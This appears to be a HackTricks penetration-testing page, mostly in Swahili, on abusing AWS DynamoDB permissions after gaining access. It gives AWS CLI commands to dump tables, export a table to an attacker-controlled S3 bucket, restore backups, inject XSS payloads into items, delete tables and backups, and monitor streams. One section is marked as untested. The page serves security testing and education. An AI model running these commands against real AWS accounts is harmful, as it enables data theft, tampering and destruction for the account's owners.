AWS - DynamoDB Post Exploitation

Support HackTricks

DynamoDB

Kwa maelezo zaidi angalia:

dynamodb:BatchGetItem

Mshambuliaji mwenye ruhusa hii ataweza kupata vitu kutoka kwa meza kwa funguo za msingi (huwezi tu kuomba data zote za meza). Hii inamaanisha kuwa unahitaji kujua funguo za msingi (unaweza kupata hii kwa kupata metadata ya meza (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali

dynamodb:GetItem

Kama ruhusa za awali hii inaruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali moja tu kwa kutolewa funguo kuu ya kuingia ili kupata:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Kwa ruhusa hii pia inawezekana kutumia njia ya transact-get-items kama:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali

dynamodb:Query

Kama ruhusa za awali hii inaruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutolewa kwa ufunguo wa msingi wa kipengee cha kupata. Inaruhusu kutumia sehemu ya kulinganisha, lakini kulinganisha pekee inayoruhusiwa na ufunguo wa msingi (ambayo lazima ionekane) ni "EQ", hivyo huwezi kutumia kulinganisha kupata DB nzima katika ombi.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali

dynamodb:Scan

Unaweza kutumia ruhusa hii kutoa jedwali zima kwa urahisi.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Madhara Yanayoweza Kutokea: Kuongeza haki zisizo za moja kwa moja kwa kutafuta taarifa nyeti katika jedwali

dynamodb:PartiQLSelect

Unaweza kutumia ruhusa hii kutoa jedwali zima kwa urahisi.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Hii ruhusa pia inaruhusu kutekeleza batch-execute-statement kama:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

lakini unahitaji kubainisha ufunguo wa msingi na thamani, hivyo siyo yenye manufaa sana.

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Ruhusa hii itamruhusu mshambuliaji kutoa jedwali lote kwenye kikasha cha S3 cha uchaguzi wake:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Kumbuka kwamba ili hii ifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa, unaweza kuangalia kama jedwali lina hiyo kwa:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Ikiwa haijawashwa, utahitaji kuwasha na kwa hiyo unahitaji ruhusa dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Kwa ruhusa hizi, mshambuliaji angeweza kuunda jedwali jipya kutoka kwa nakala ya akiba (au hata kuunda akiba ili kisha aifufue katika jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia taarifa kutoka kwa akiba ambazo zingekuwa hazipo tena katika uzalishaji jedwali.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika nakala ya jedwali

dynamodb:PutItem

Ruhusa hii inawawezesha watumiaji kuongeza kitu kipya kwenye jedwali au kubadilisha kitu kilichopo na kitu kipya. Ikiwa kitu chenye ufunguo wa msingi sawa tayari kipo, kitu chote kitabadilishwa na kitu kipya. Ikiwa ufunguo wa msingi haupo, kitu kipya chenye ufunguo wa msingi ulioainishwa kitaundwa mpya.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Madhara Yanayoweza Kutokea: Ukatili wa udhaifu zaidi/kuvunjwa kwa sheria kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB

dynamodb:UpdateItem

Ruhusa hii inawaruhusu watumiaji kubadilisha sifa zilizopo za kipengee au kuongeza sifa mpya kwa kipengee. Haifanyi mabadiliko ya kipengee chote; inasasisha tu sifa zilizotajwa. Ikiwa funguo kuu haipo katika jedwali, operesheni hiyo itafanya kipengee kipya na funguo kuu iliyotajwa na kuweka sifa zilizotajwa katika muktadha wa sasisho.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Madhara Yanayoweza Kutokea: Kutumiwa kwa udhaifu/kuvunjwa zaidi kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB

dynamodb:DeleteTable

Mshambuliaji mwenye ruhusa hii anaweza kufuta jedwali la DynamoDB, na kusababisha kupoteza data.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Madhara yanayoweza kutokea: Kupoteza data na kuingiliwa kwa huduma zinazotegemea meza iliyofutwa.

dynamodb:DeleteBackup

Mshambuliaji mwenye ruhusa hii anaweza kufuta nakala ya akiba ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika hali ya kurejesha baada ya janga.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Madhara yanayoweza kutokea: Kupoteza data na kutoweza kurejesha kutoka kwa nakala ya akiba wakati wa hali ya kuokoa janga.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Jaribu kama hii inafanya kazi

Mshambuliaji mwenye ruhusa hizi anaweza kuwezesha mtiririko kwenye meza ya DynamoDB, kusasisha meza ili kuanza kutiririsha mabadiliko, na kisha kufikia mtiririko ili kufuatilia mabadiliko kwenye meza kwa wakati halisi. Hii inamruhusu mshambuliaji kufuatilia na kuhamasisha mabadiliko ya data, ambayo yanaweza kusababisha uvujaji wa data.

  1. Wezesha mtiririko kwenye meza ya DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Eleza mchakato wa kupata ARN na maelezo mengine:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Pata iterator ya shard ukitumia ARN ya mtiririko:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Tumia iterator ya shard kufikia na kutoa data kutoka kwa mtiririko:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Madhara yanayoweza kutokea: Ufuatiliaji wa wakati halisi na uvujaji wa data za mabadiliko ya meza ya DynamoDB.

Support HackTricks

Last updated